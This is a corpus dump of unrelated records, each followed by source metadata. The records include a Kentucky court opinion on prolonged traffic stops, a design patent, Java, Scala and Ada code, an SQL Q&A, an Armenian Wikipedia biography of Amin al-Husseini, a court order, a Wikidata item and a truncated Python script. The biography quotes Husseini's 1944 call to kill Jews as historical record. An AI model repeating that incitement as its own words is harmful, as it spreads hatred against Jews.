10 Carlisle v. Commonwealth, 601 S.W.3d 168, 179 (Ky. 2020).
11 Id.
8
complete its initial purpose, something must occur during the stop to create a
“reasonable and articulable suspicion that criminal activity is afoot.”12
A. The Initial Mission of the Traffic Stop was Impermissibly
Extended to Facilitate the Dog Sniff.
We outlined in Davis v. Commonwealth13 our test for when officers
impermissibly extend stops. In Davis we stated, “[t]here is no ‘de minimis
exception’ to the rule that a traffic stop cannot be prolonged for reasons
unrelated to the purpose of the stop.”14 A stop is unreasonably extended when
the “tasks tied to the traffic infraction are – or reasonably should have been –
completed…”15
In Smith v. Commonwealth, a canine officer, at the request of police
detectives who had been surveilling Smith, initiated a traffic stop of Smith for
failure to signal.16 The canine officer found Smith to be cooperative, but
nervous.17 The officer then immediately led his dog on a sniff search of Smith’s
car which resulted in the discovery of seven grams of cocaine.18 The entire
incident from stop to arrest was seven minutes, but the trial court found the
12Turley, 399 S.W.3d at 421; see also Illinois v. Caballes, 543 U.S. 405, 407
(2005) (“A seizure that is justified solely by the interest in issuing a warning ticket to
the driver can become unlawful if it is prolonged beyond the time reasonably required
to complete that mission.”).
13 484 S.W.3d 288.
14 Id. at 294.
Smith v. Commonwealth, 542 S.W.3d 276, 281-82 (Ky. 2018) (citing
15
Rodriguez, 575 U.S. at 349).
16 Id. at 278-79.
17 Id. at 279.
18 Id.
9
use of the dog impermissibly extended the stop without reasonable cause.19
The Court of Appeals affirmed the trial court.20
We said that the canine officer’s interactions with Smith were
inconsistent with the reason for the stop. In fact, the officer conducted a sniff
search instead of completing the ordinary elements of the stop. We further
stated that,
[t]he legitimate purpose of the traffic stop…was to cite [Smith] for
making an improper turn….[I]nstead of diligently pursuing the
purpose of the traffic stop, [the officer] seemingly abandoned the
legitimate purpose of issuing a traffic citation because he
immediately asked [Smith] about drugs and launched the dog’s
sniff search.21
The officer in Smith did not diligently pursue the traffic violation.22 Prior to the
stop, officers lacked a reasonable, articulable suspicion to justify the stop of
Smith’s car for anything other than the traffic violation, and nothing in the
traffic violation, or Smith’s interaction with the officer during the stop changed
this fact.23 For that reason, we held that the sniff search of Smith’s car was an
impermissible extension of the stop and affirmed the lower courts’ suppression
of the evidence.24
19 Id. at 279-80.
20 Id.
21 Id. at 281-82 (emphasis added).
22 Id. at 282.
23 Id. at 283-84.
24 Id. at 280.
10
The permissible duration of a stop is a fluid and fact dependent analysis.
That is to say, during a stop, police officers are not on a clock. Officers neither
get bonus time to pursue other investigative tracks by completing a citation
quickly,25 nor is an inexperienced officer forced to meet an arbitrary
benchmark that is unreasonable given his or her background. The test is what
officers do at the scene.26 As long as the officers are diligently working to
complete the purpose of the initial stop, a stop is not impermissibly extended
merely because one stop is marginally longer than another.
In this case, the Court of Appeals correctly stated that it was “unrefuted
that the officers deferred the completion of the stop beyond its original purpose
to discuss and then request a canine search.”27 There is no de minimis or
“reasonableness” exception to Davis or Rodriguez for delays attributed to
actions unrelated to the purpose of the stop. This opinion should not be read to
say that officers may not confer as to the proper method of processing a stop.
When such a discussion is related to the original purpose of the stop, then no
impermissible delay occurs. If discussions are unrelated to the original purpose
of the stop, officers may still have such conferences if the officers continue to
exercise reasonable diligence in completing the purpose of the initial stop.
When it comes to pursuing unrelated investigative issues, officers must be able
to do so while simultaneously completing the purpose of the stop. For this
25 See Rodriguez, 575 U.S. at 357.
26 Id. (citing Knowles v. Iowa, 525 U.S. 113 (1998)).
27 Mitchell v. Commonwealth, 2017-CA-001539-MR, 2019 WL 258162, *3 (Ky.
App. January 18, 2019).
11
reason, we affirm the Court of Appeals’ holding that the discussion regarding
summoning the canine unit impermissibly delayed completion of the stop.
B. The Court of Appeals Erred in Failing to Consider Whether
Officers Barks and Agayev had Reasonable Suspicion of Criminal
Activity to Justify Holding Mitchell until the Drug Dog Arrived.
Even under Davis and Rodriguez, officers may develop reasonable,
articulable suspicion during a stop that criminal activity unrelated to the initial
purpose of the stop is afoot, and such reasonable suspicion may justify the
extended seizure of individuals to investigate said suspected criminal activity.28
The Commonwealth argues that Officers Barks and Agayev had such
reasonable, articulable suspicion justifying the extended detention of Mitchell.
The Court of Appeals held the Commonwealth failed to preserve this issue and
deemed it precluded, citing our decision in Smith, supra.29 In Smith, we
affirmed the Court of Appeals’ holding precluding the Commonwealth’s
argument that as a parolee, Smith was subject to warrantless and
suspicionless searches.30 Under CR 52.04,
[a] final judgment shall not be reversed or remanded because of a
failure of the trial court to make a finding of fact on an issue
essential to the judgment unless such failure is brought to the
attention of the trial court by a written request for a finding on that
issue or by a motion pursuant to Rule 52.02.
28 See Rodriguez, 575 U.S. at 355; Smith, 542 S.W.3d at 283.
29 Mitchell, 2019 WL 258162 at *3.
30 Smith, 542 S.W.3d at 284.
12
While reversal of a lower court is restricted, an appeals court may affirm for
any reason supported by the record, and the appellee may present alternative
reasons justifying the decision of the trial judge.31
The procedural posture in Smith was distinct from the present case. In
Smith, we were reviewing the Commonwealth’s attempt to have the Court of
Appeals reverse the trial court’s granting of the defendant’s motion to suppress
evidence.32 In its appeal, the Commonwealth raised for the first time the issue
of Smith’s parole status.33 While Smith’s parole status was part of the
evidentiary record, the Commonwealth never raised it to the trial court as a
justification for the warrantless search or requested the trial court amend its
order pursuant to CR 52.02.34 We held that under CR 52.04 the
Commonwealth’s failure to either ask for additional findings or for the trial
court to amend its order precluded the Commonwealth from arguing Smith’s
parole status in support of reversal.35
Here, the Court of Appeals failed to distinguish the facts of Smith from
the case before us. Unlike Smith, where the Commonwealth was the appellant
31 Commonwealth v. Fields, 194 S.W.3d 255, 257 (Ky. 2006) (“The Court of
Appeals improperly held that the prosecution could not present on appeal an
alternative reason justifying the decision of the trial judge.”); see also McCloud v.
Commonwealth, 286 S.W.3d 780 (Ky. 2009) (“[I]t is well settled that an appellate court
may affirm a lower court for any reason supported by the record.”); Ordway v.
Commonwealth, 352 S.W.3d 584 (Ky. 2011) (affirming trial court on ground not argued
before the trial court).
32 Smith, 542 S.W.3d at 284 (emphasis added).
33 Id. at 285.
34 Id.
35 Id.
13
seeking reversal, here the Commonwealth was the appellee seeking affirmation.
As the “losing” party in Smith, the Commonwealth had the burden to identify
errors or omissions in the trial court record in order to preserve them for
appeal. In the present case, the Commonwealth had no reason to disturb the
findings of the trial court. The Commonwealth was not asking the Court of
Appeals to reverse the trial court, but rather to affirm the trial court for other
reasons, consistent with Fields. Furthermore, unlike the Commonwealth in
Smith, the Commonwealth here introduced evidence and argued at the
suppression hearing that Officers Barks and Agayev in fact had reasonable
suspicion to prolong the stop to facilitate the canine unit’s arrival. The trial
court heard this evidence but made no factual findings or conclusions of law on
the record supporting or questioning the officers’ reasonable suspicion.
Accordingly, we hold that the Court of Appeals erred in deeming the question of
reasonable suspicion to be precluded from its consideration.
Defense counsel requested an opportunity to brief the issues
surrounding the stop as part of the suppression hearing. RCr 8.27(4) states
that “the court shall allow a party to file a brief in support of or in opposition to
any such motion or objection, either in advance of the hearing, upon its final
adjournment, or both.”36 The trial court in this case heard the request, and
stated it felt it was a “simple issue,” suggesting the court felt the issues did not
warrant briefing. The court told defense counsel that they could readdress the
36 (emphasis added).
14
request at the end if counsel still believed there were issues worthy of briefing.
At the close of the hearing, the court issued its denial of the motion without
readdressing counsel’s request to brief. RCr 8.27 is explicit; parties shall have
leave to brief issues in support of motions and Mitchell’s defense counsel never
withdrew his request to provide such briefing.
An appellate court reviews a trial court’s finding regarding reasonable
suspicion de novo, but such review is predicated on a sufficient record as to
the underlying facts to permit a review. The dearth of factual findings regarding
the officers’ basis for reasonable suspicion, coupled with the trial court’s denial
of defense counsel’s request to brief these issues, prevents an adequate review.
Therefore, we remand to the trial court to allow the parties to brief the issue of
whether the officers had reasonable, articulable suspicion to extend the stop
and to enter a written order with appropriate findings of fact and conclusions
of law regarding this issue.
IV. CONCLUSION
For the aforementioned reasons we affirm the Court of Appeals’ holding
that the stop was impermissibly extended but reverse its holding that the
Commonwealth’s argument that officers had independent reasonable suspicion
was precluded. However, because the trial court did not make findings of fact
or conclusions of law regarding the officers’ reasonable suspicion, we remand
to the trial court for further proceedings consistent with this Opinion.
All sitting. All concur.
15
COUNSEL FOR APPELLANT:
Daniel J. Cameron
Attorney General of Kentucky
Todd Dryden Ferguson
Assistant Attorney General
COUNSEL FOR APPELLEE:
Erin Hoffman Yang
Assistant Public Advocate
16.
| 12,419 |
US-10730699-F_1 | USPTO | Open Government | Public Domain | 1,999 | None | None | English | Spoken | 85 | 135 | Isolating cover for transformer
FIG. 1 is a perspective view of an isolating cover for transfomershowing my new design;
FIG. 2 is a side elevational view thereof;
FIG. 3 is a top plan view thereof;
FIG. 4 is a front elevational view thereof;
FIG. 5 is a bottom plan view thereof;
FIG. 6 is an elevational view of the side opposite to FIG. 4; and,
FIG. 7 is a rear elevational view thereof.
The ornamental design for an isolating cover for transformer, as shownand described..
| 4,509 |
https://github.com/AuthEceSoftEng/agora-ast-parser/blob/master/src/astparser/MainApp.java | Github Open Source | Open Source | Apache-2.0 | 2,018 | agora-ast-parser | AuthEceSoftEng | Java | Code | 168 | 511 | package astparser;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import parser.ASTParser;
/**
* Contains the main class of the application.
*
* @author themis
*/
public class MainApp {
/**
* Prints the help message of the command line interface.
*/
private static void printHelpMessage() {
System.out.println("ASTParser: Abstract Syntax Tree Parser for Java Source Code\n");
System.out.println("Run as:\n java -jar ASTParser.jar -project=\"path/to/project\"");
System.out.println("Or as:\n java -jar ASTParser.jar -file=\"path/to/file\"");
}
/**
* Executes the application.
*
* @param args arguments for executing in command line mode.
*/
public static void main(String args[]) {
if (args.length > 0) {
List<String> arguments = new ArrayList<String>();
for (String arg : args) {
String narg = arg.trim();
if (narg.contains("=")) {
for (String n : narg.split("=")) {
arguments.add(n);
}
} else
arguments.add(arg.trim());
}
arguments.removeAll(Arrays.asList("", null));
boolean project = arguments.get(0).equals("-project");
boolean file = arguments.get(0).equals("-file");
if (project ^ file) {
String result = "";
if (project)
result = ASTParser.parseProject(arguments.get(1));
else if (file)
result = ASTParser.parseFile(arguments.get(1));
System.out.println(result);
} else {
printHelpMessage();
}
} else {
printHelpMessage();
}
}
}
| 29,325 |
https://github.com/e257-fi/tackler/blob/master/core/src/test/scala/fi/e257/tackler/parser/TacklerTxnsTest.scala | Github Open Source | Open Source | Apache-2.0 | null | tackler | e257-fi | Scala | Code | 249 | 752 | /*
* Copyright 2016-2019 E257.FI
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package fi.e257.tackler.parser
import fi.e257.tackler.core.{Settings, TxnException}
import org.scalatest.funspec.AnyFunSpec
class TacklerTxnsTest extends AnyFunSpec {
describe("TacklerTxns with String") {
it("create git commitId by string") {
assert(TacklerTxns.gitCommitId("1234567890") === Right[String, String]("1234567890"))
}
it("create git ref by settings") {
val settings = Settings()
assert(TacklerTxns.gitReference(settings) === Left[String, String]("master"))
}
it("create git ref by string") {
assert(TacklerTxns.gitReference("unit-test-ref") === Left[String, String]("unit-test-ref"))
}
/**
* test: 52836ff9-94de-4575-bfae-6b5afa971351
*/
it("notice unbalanced transaction") {
val txnStr =
"""2017-01-01
| e 1
| a 1
|""".stripMargin
val ex = intercept[TxnException] {
val tt = new TacklerTxns(Settings())
tt.string2Txns(txnStr)
}
assert(ex.getMessage === "TXN postings do not zero: 2")
}
/**
* test: 200aad57-9275-4d16-bdad-2f1c484bcf17
*/
it("handle multiple txns") {
val txnStr =
"""2017-01-03 'str3
| e 1
| a
|
|2017-01-01 'str1
| e 1
| a
|
|2017-01-02 'str2
| e 1
| a
|
|""".stripMargin
val tt = new TacklerTxns(Settings())
val txnData = tt.string2Txns(txnStr)
assert(txnData.txns.length === 3)
assert(txnData.txns.head.header.description.getOrElse("") === "str1")
assert(txnData.txns.last.header.description.getOrElse("") === "str3")
}
}
}
| 3,955 |
https://github.com/charlie5/lace/blob/master/1-base/lace/source/events/concrete/lace-subject-local.ads | Github Open Source | Open Source | ISC | 2,023 | lace | charlie5 | Ada | Code | 96 | 255 | with
lace.make_Subject,
lace.Any;
private
with
ada.Strings.unbounded;
package lace.Subject.local
--
-- Provides a concrete local event Subject.
--
is
type Item is limited new Any.limited_item
and Subject .item with private;
type View is access all Item'Class;
package Forge
is
function to_Subject (Name : in Event.subject_Name) return Item;
function new_Subject (Name : in Event.subject_Name) return View;
end Forge;
procedure destroy (Self : in out Item);
overriding
function Name (Self : in Item) return Event.subject_Name;
private
use ada.Strings.unbounded;
package Subject is new make_Subject (Any.limited_item);
type Item is limited new Subject.item with
record
Name : unbounded_String;
end record;
end lace.Subject.local;
| 22,287 |
https://stackoverflow.com/questions/58069048 | StackExchange | Open Web | CC-By-SA | 2,019 | Stack Exchange | https://stackoverflow.com/users/3706016, jarlh | English | Spoken | 392 | 1,040 | Case Statement for SSRS
I have a case statement in my where clause and what I am attempting to do is make this report where you can search by the Claim ID, Member ID, or the Provider ID. The issue is that the Member ID and Provider ID are both located in the same field which is the Folder_ID but labeled differently with the Folder_Type.
When I use the case statement the way it is currently written I don't get any results. When I try to use an OR instead of AND, I return too much. Where am I going wrong? Thanks in advance for the help!
SELECT
xfl.xml_file_id
, dh.document_id
, dh.document_description
, dh.document_date
, MAX(CASE WHEN xfi.FOLDER_TYPE_ID = '19' THEN xfi.folder_id ELSE null END) AS memberID
, MAX(CASE WHEN RIGHT(xfi.folder_id, 5) = '*1300' THEN LEFT(xfi.folder_id, LEN(xfi.folder_id) - 5) ELSE NULL END) AS providerid
, xfl.xml_file_name
, dp.document_file_path
FROM
reporting.[FacetsRunout].[XML_FILE_LIST]
xfl
JOIN reporting.[FacetsRunout].[Folder_ID]
xfi ON xfi.XML_FILE_ID = XFL.XML_FILE_ID
LEFT JOIN reporting.[FacetsRunout].[Document_Page] dp
ON dp.XML_FILE_ID = xfl.XML_FILE_ID
JOIN reporting.[FacetsRunout].[Document_Header]
dh ON dh.XML_FILE_ID = xfl.XML_FILE_ID
WHERE
dh.document_id LIKE '%'+@ClaimID+'%'
AND CASE WHEN xfi.FOLDER_TYPE_ID = '19' THEN xfi.folder_id ELSE null
END LIKE '%'+@MemberID+'%'
AND CASE WHEN RIGHT(xfi.folder_id, 5) = '*1300' THEN
LEFT(xfi.folder_id, LEN(xfi.folder_id) - 5) ELSE NULL END LIKE
'%'+@ProviderID+'%'
GROUP BY
xfl.xml_file_id
, dh.document_id
, dh.document_description
, dh.document_date
, xfl.xml_file_name
, dp.document_file_path
It's generally better to use AND/OR constructions instead of case expressions in the WHERE clause.
It looks like your CASE statements use NULL if your field doesn't match which would exclude the so your Claim ID, Provider ID and Member ID would ALL have to match to get a record.
Your WHERE clause could be re-written like:
WHERE
dh.document_id LIKE '%'+@ClaimID+'%'
AND (xfi.FOLDER_TYPE_ID = '19' AND xfi.folder_id LIKE '%'+@MemberID+'%')
AND (RIGHT(xfi.folder_id, 5) = '*1300' AND LEFT(xfi.folder_id, LEN(xfi.folder_id) - 5) LIKE '%'+@ProviderID+'%')
You also don't have any parenthesis so when you do change the first AND to an OR, it looks for the Doc ID that has the Claim ID parameter OR all the other conditions.
I think you want this WHERE clause but with OR instead of AND with the parenthesis to keep the different conditions together (i.e. TYPE_ID = 19 AND Folder ID = Member ID).
WHERE
dh.document_id LIKE '%'+@ClaimID+'%'
OR (xfi.FOLDER_TYPE_ID = '19' AND xfi.folder_id LIKE '%'+@MemberID+'%')
OR (RIGHT(xfi.folder_id, 5) = '*1300' AND LEFT(xfi.folder_id, LEN(xfi.folder_id) - 5) LIKE '%'+@ProviderID+'%')
| 7,280 |
https://hy.wikipedia.org/wiki/%D4%B1%D5%B4%D5%AB%D5%B6%20%D5%A1%D5%AC%20%D5%80%D5%B8%D6%82%D5%BD%D5%A5%D5%B5%D5%B6%D5%AB | Wikipedia | Open Web | CC-By-SA | 2,023 | Ամին ալ Հուսեյնի | https://hy.wikipedia.org/w/index.php?title=Ամին ալ Հուսեյնի&action=history | Armenian | Spoken | 1,779 | 6,723 | Մուհամեդ Ամին ալ Հուսեյնի () (), Երուսաղեմի մուֆթի, Պաղեստինի արաբ ազգայնականների առաջնորդը։
Կենսագրություն
Մինչ Երկրորդ համաշխարհային պատերազմը
Սերում է Երուսաղեմի արաբական ամենահարուստ և ազդեցիկ ընտանիքներից մեկից։ Սովորել է Երուսաղեմի Ալյանս հրեական շարժման դպրոցում, այնուհետև Կահիրեի Ալ-Ազհար իսլամական համալսարանում և Ստամբուլի վարչական ծառայողների պատրաստման ուսումնարանում։ 1914-1917 թվականներին ծառայել է թուրքական բանակում։ Պաղեստինի՝ բրիտանացիների կողմից բռնազավթումից հետո, դարձել է ռազմական վարչախմբի պաշտոնյա։ Գլխավորել է «Արաբական ակումբը»։ Վերջինս Երուսաղեմի ազգայնական տրամադրվածություններ ունեցող արաբական երիտասարդական երկու խոշոր կազմակերպություններից մեկն էր։
Ալ Հուսեյնին անգլիական դատարանի կողմից հեռակա կարգով դատապարտվել է 10 տարվա ազատազրկման՝ 1920 թվականի ապրիլին Երուսաղեմում հակահրեական անկարգություններ կազմակերպելու համար։ Նույն տարվա օգոստոսին համաներման է արժանացել։ 1921 թվականի մայիսին բրիտանական բարձրագույն կոմիսար Հերբերտ Լուիս Սեմուելը Հուսեյնիին նշանակել է Երուսաղեմի մուֆթի (մինչև 1921 թվականի մարտ ամիսը այդ պաշտոնը զբաղեցրել է նրա խորթ եղբայրը)։
Հուսեյնին ակտիվ մասնակցություն է ունեցել 1929 թվականին Պաղեստինում կազմակերպված հրեական ջարդերի ժամանակ։ 1931 թվականին նա նախագահել է Իսլամական համաշխարհային կոնֆերանսը, որին մասնակցում էին իսլամադավան 22 պետություններ։
1936 թվականին Ալ-Հուսեյնին հանդիպել է շվեյցարացի բանկիր Ֆրանսուա Ժենոյի հետ, որը հետագայում դարձել է Երրորդ Ռայխի հայտնի ֆինանսիստը Մերձավոր Արևելքում։ Համաձայն Չակ Մորզեի, նացիստները ֆինանսավորում էին ալ-Հուսեյնիին՝ 1930-ական թվականներին Պաղեստինում տեղի ունեցած արաբական ապստամբության ժամանակ։
1936 թվականի փետրվարի 11-ին, հանդես գալով Հիտլերյուգենդի օրինակով իր կողմից ստեղծված «Al Futuwwah» երիտասարդական կազմակերպության առաջին նիստին, նա նշել է, որ Հիտլերը սկսել է 6 հետևորդներով, իսկ հիմա նրանց թիվը հասնում է 60 միլիոնի։ «Al Futuwwah» դարձել է արաբական հիմնական ընդհատակյա խումբը ոչ միայն 1936-1939 թվականներին տեղի ունեցած արաբական ապստամբության, այլև 1947-1949 թվականներին տեղի ունեցած արաբա-իսրայելական պատերազմի ժամանակ ։
1936 թվականին Նաբլուսում կայացած արաբական կուսակցությունների կոնֆերանսում Հուսեյնիի գլխավորությամբ ընտրվել է Արաբական բարձրագույն կոմիտեն, որը 1936-1939 թվականներին գլխավորել է արաբական ապստամբությունը։ Գնդապետ Ֆրեդերիկ Քիշը 1938 թվականին գրել է.
Ես ամենևին չեմ կասկածում, որ եթե մուֆթին չարամտորեն չօգտագործեր իր ահռելի իշխանությունը, իսկ կառավարությունն էլ 15 տարի չհանդուրժեր նրա քայլերը, ապա արաբներն ու հրեաները վաղուց հասած կլինեին փոխըմբռնման՝ մանդատի ստանալու հարցում։
Դաշինք նացիստների հետ
Երկրորդ համաշխարհային պատերազմի սկզբին բրիտանական իշխանությունները Հուսեյնիին հեռացրել են մուֆթիի պաշտոնից։ Վերջինս փախել է, սակայն շարունակել է Բեյրութից և Դամասկոսից ղեկավարել արաբական ապստամբությունները։ 1940 թվականին Հուսեյնին մեկնել է Իրաք, որտեղ մասնակցել է պրոգերմանական հակաբրիտանական հեղաշրջմանը, որը 1941 թվականին փորձում էր իրականացնել Ռաշիդ ալ Հայլանին։ Անգլիացիների կողմից հեղաշրջման ճնշումից հետո, նա բնակվել է Իտալիայում, այնուհետև՝ Նացիստական Գերմանիայում, որտեղ գերմանական կառավարությունից ամսական ստացել է 50 000 մարկ։
1941 թվականի նոյեմբերի 28-ին Բեռլինում տեղի է ունեցել Ալ Հուսեյնիի և Հիտլերի հանդիպումը։ Ինչպես հաղորդել են նացիստական լրատվական ծառայությունները, «ֆյուրերը ողջունել է Երուսաղեմի մեծ մուֆթիին, որը համարվում է արաբական ազգային շարժման կարկառուն ներկայացուցիչներից մեկը»։ Հանդիպման ժամանակ ալ Հուսեյնին Հիտլերին անվանել է «իսլամի պահապան», իսկ վերջինս էլ իր հերթին, խոստացել է մուֆթիին «Մերձավոր Արևելքից վերացնել հրեական տարրերը»։ Հուսեյնին Հիտլերին ասել է, որ Գերմանիան և արաբները իրական դաշնակիցներ են, քանի որ ունեն ընդհանուր թշնամիներ՝ անգլիացիները, հրեաները և կոմունիստները։ Հուսեյնին խոստացել է կազմակերպել համաարաբական ապստամբություն և շարունակել ստեղծել Արաբական լեգեոն՝ Վերմախտի զինված ուժերի կազմում։ Հիտլերը խոստացել է լուծարել Պաղեստինում «հրեական ազգային օջախը» և պատերազմից հետո արաբներին տալ անկախություն։ Այդուհանդերձ, պաշտոնական այդպիսի հայտարարություն չի արվել։ Համաձայն ԱՄՆ հատուկ ծառայությունների կողմից 2010 թվականին կատարած բացահայտումների, Հիտլերը Հուսեյնիին խոստացել է, որ գերմանական զորքերը, որոնք վերադասվելու էին Կովկասում, և Աֆրիկյան կորպուսը «կազատագրեն Մերձավոր Արևելքի արաբներին» և որ, «Գերմանիայի գլխավոր նպատակը կլինի հրեաների ոչնչացումը»։
Ամին ալ Հուսեյնին օգնել է ՍՍ-ի կազմում ձևավորել մուսուլման բոսնիացիներից կազմված դիվիզիա (ՍՍ-ի «Հանջար» 13-րդ լեռնային դիվիզիա)։
Ի հավելումն դրա, նա առաջարկել է Վերմախտի կազմում ստեղծել բազմահազարանոց Արաբական լեգեոն։ 1943 թվականին նա անձամբ դիմել է արտաքին գործերի ռեյխսնախարար Իոահիմ ֆոն Ռիբենտրոպին՝ պահանջելով կանխարգելել Բուլղարիայից դեպի Պաղեստին 5000 հրեա երեխաների տարհանումը։ Նա պնդել է ռմբակոծել Թել Ավիվը, Պաղեստինում իջեցնել գերմանացի պարաշյուտիստներ։ 1944 թվականի մարտի 1-ին «Բեռլինի ռադիոյով» մուֆթին իսլամական ողջ աշխարհին կոչ է արել ջիհադ հայտարարել հրեաների դեմ։ Նա հայտարարել է․ «Արաբներ, մի մարդու նման կանգնեք և պայքարեք ձեր սուրբ իրավունքների համար։ Սպանեք հրեաներին, որտեղ որ նրանց կհանդիպեք։ Դա հաճո է Աստծուն, պատմությանը և կրոնին։ Այն կփրկի ձեր պատիվը։»։
Նացիստների հետ լավ հարաբերություններ մուֆթին պահպանել է նաև հետպատերազմյան շրջանում։ Նրա ընկերների շարքում հայտնի է եղել Յոհան ֆոն Լերսը, ով եղել է Յոզեֆ Գեբելսի գաղափարակից ընկերներից մեկը։
Հետպատերազմյան տարիներ
Գերմանիայի պարտությունից ոչ շատ առաջ, Ալ Հուսեյնին ինքնաթիռով ավստրիական Կլագենֆուրտ քաղաքից մեկնել է Շվեյցարիա և ապաստան հայցել։ Երբ շվեյցարական իշխանությունները մուֆթիին մերժել են, նա որոշել է հանձնվել ֆրանսիացիներին։ Ֆրանսիացիները ձերբակալել են նրան և պահել Փարիզի Շերշ միդի բանտում, այնուհետև Փարիզի մերձակա առանձնատներից մեկում։ Ալ Հուսեյնին հարավսալավական իշխանությունների կողմից ներառվել է դատապարտման ենթակա նացիստ հանցագործների ցանկում։ Սակայն Արաբական պետությունների լիգան դիմել է մարշալ Տիտոյին և խնդրել չպնդել մուֆթիի արտահանձմանը։
1946 թվականին նա փախել և հաստատվել է Կահիրեում։ 1948-1949 թվականներին տեղի ունեցած Արաբա-իսրայելական պատերազմի ժամանակ Հուսեյնին Գազայում, որը գտնվում էր եգիպտական զորքերի հսկողության տակ, ձևավորել է «համապաղեստինյան կառավարություն», որը, սակայն, չի ունեցեր որևէ էական իշխանություն և շուտով լուծարվել է։ Հետագայում Հուսեյնին բնակվել է Կահիրեում և Բեյրութում՝ զբաղվելով պանիսլամական բնույթի քաղաքական գործունեությամբ։
Հուսեյնին եղել է Հաշիմյան դինաստիայի մոլի հակառակորդ, հատկապես Աբդալա իբն Հուսեյն արքայի, որը 1965 թվականին սպանվել է Երուսաղեմում՝ Ամիր ալ Հուսեյնիի կողմնակիցներից մեկի կողմից։
Հուսեյնիի բարեկամների թվում են Ֆեյսալ ալ Հուսեյնին (զարմիկը), ով եղել է Պաղեստինի ինքնավար հանրապետության Երուսաղեմի հարցերով նախկին հանձնակատարը, ինչպես նաև Յասեր Արաֆաթը։
Մահացել է 1974 թվականի հուլիսի 4-ին Բեյրութում։
Ժամանակակիցների արձագանքներ
Ալ Հուսեյնիի Պաղեստինում բրիտանացիների և հրեաների դեմ պայքարի կողմնակիցներից մեկը Ֆավզի ալ Քավուքջին, որը ղեկավարում էր Արաբական ազատագրական բանակը, մուֆթիին կոչում է անկիրթ, որը ձգտում էր ամբողջական իշխանության և վարկանիշի։ Մուֆթին եղել է եսակենտրոն, արաբների շրջանում չի հանդուրժել մրցակիցների առկայությանը, ինչպես նաև եղել է իշխանատենչ, որն իր հետ չհամաձայնվողներին մեղադրում էր դավաճանության մեջ։ Նա տալիս էր այլոց սպանելու հրամաններ, առանց խղճի խայթ զգալու։ Ժամանակին, Ֆավզի ալ Քավուքջիին Ալ Հուսեյնին մեղադրել է բրիտանացիների և ֆրանսիացիների հետ համագործակցության մեջ։
Ծանոթագրություններ
Գրականություն
Ռուսերեն
Անգլերեն
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Jbara,Taysir. Palestinian Leader, Hajj Amin Al-Husoyni, Mufti of Jerusalem, Kingston Press Series. Leaders, Politics, and Social Change in the Islamic World, No 5, Kingston Press, 1985, ISBN 0-940670-21-6)
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Who was the Grand Mufti, Haj Muhammed Amin al-Husseini? (Article on Amin al-Husayni, including a picture with Hitler)
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Understanding the Palestinian Movement // Part 4 — How did the 'Palestinian movement' emerge? by Francisco Gil-White, 13 June 2006
Գերմաներեն
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Արտաքին հղումներ
Иерусалимский муфтий хадж Амин эль-Хусейни.
МУФТИЙ, СЛУЖИВШИЙ НАЦИСТАМ, Константин Капитонов, 12.12.2000
«Арабский нацизм». Историко-публицистический проект Дов Конторер, «Вести», 10 июня 2004 г
«Часть VIII. Пересадка в Париже», Дов Конторер
[http://www.konflikt.ru/index.php?top=3&status=show1news&news_id=32666&page=0&searchword= Великий муфтий. Лицо палестинского национализма. (4-07-2004)] Дов Конторер, konflikt.ru
Арабы Эрец Исраэль, под руководством муфтия, несут прямую ответственность за уничтожение сотен тысяч евреев во время Катастрофы
Найдена поздравительная телеграмма муфтию от Гиммлера
Հակասիոնականություն
Արաբ ազգայնականներ
Երուսաղեմի մուֆթիներ
Առաջին համաշխարհային պատերազմում Օսմանյան կայսրության ռազմական գործիչներ
Հակասեմականություն | 20,141 |
6006178_1 | Court Listener | Open Government | Public Domain | 2,022 | None | None | English | Spoken | 183 | 248 | —Judgment, Supreme Court, New York County (Edwin Torres, J.), rendered on or about January 10, 1990, unanimously affirmed.
Application by appellant’s counsel to withdraw as counsel is granted. (See, Anders v California, 386 US 738; People v Saunders, 52 AD2d 833.) We have reviewed this record and agree with appellant’s assigned counsel that there are no non-frivolous points which could be raised on this appeal.
Pursuant to CPL 460.20, defendant has the right to apply for leave to appeal to the Court of Appeals by making application to the Chief Judge of that Court and by submitting such application to the Clerk of that Court or to a Justice of the Appellate Division of the Supreme Court of this Department on reasonable notice to the respondent within thirty (30) days after service of a copy of this order, with notice of entry.
Denial of the application for permission to appeal by the Judge or Justice first applied to is final and no new application may thereafter be made to any other Judge or Justice. Concur—Milonas, J. P., Wallach, Nardelli, Tom and Mazzarelli, JJ,.
| 3,777 |
https://www.wikidata.org/wiki/Q49825373 | Wikidata | Semantic data | CC0 | null | Kingsberry Gulch | None | Multilingual | Semantic data | 54 | 97 | Kingsberry Gulch
Kingsberry Gulch
valley in Lewis and Clark County, Montana, United States of America
Kingsberry Gulch GeoNames ID 5660840
Kingsberry Gulch coordinate location
Kingsberry Gulch country United States of America
Kingsberry Gulch GNIS Feature ID 801015
Kingsberry Gulch instance of valley
Kingsberry Gulch located in the administrative territorial entity Lewis and Clark County | 9,307 |
https://github.com/devCMU17/beiwe-backend/blob/master/scripts/one-time/data recovery/reconstruct_answers_files.py | Github Open Source | Open Source | BSD-3-Clause | 2,018 | beiwe-backend | devCMU17 | Python | Code | 2,821 | 8,579 | from db.data_access_models import FileToProcess
cpaste
import cPickle, os, collections
from bson.objectid import ObjectId
from datetime import datetime, timedelta
from time import mktime
from mongolia.errors import NonexistentObjectError
from multiprocessing.pool import ThreadPool
from db.study_models import Studies, Survey, Study
from db.user_models import Users
from libs.s3 import s3_list_files, s3_retrieve, s3_upload
class UnableToReconcileError(Exception): pass
class ItemTooEarlyException( Exception ): pass
class ItemTooLateException( Exception ): pass
class NoBackupSurveysException( Exception ): pass
class UnableToFindSurveyError( Exception ): pass
"""
Cases:
no submit button
probably ignore them.
missing questions:
pretty good: compile data from all backups of surveys, use that survey as the
canonical survey for that question for identifying missingn questions
~fuzzy: compile a survey is mapping to all uuids questions ever contained in that
"""
########################### annoying stuff to declare early ############################
#a map of the string value on the timings file to the answers file for question types
question_type_map ={'slider': "Slider Question",
'radio_button': "Radio Button Question",
'checkbox': "Checkbox Question",
'free_response': "Open Response Question"}
good_messages ={
"no_answers":"there were no answered questions,", #not the same as no submit
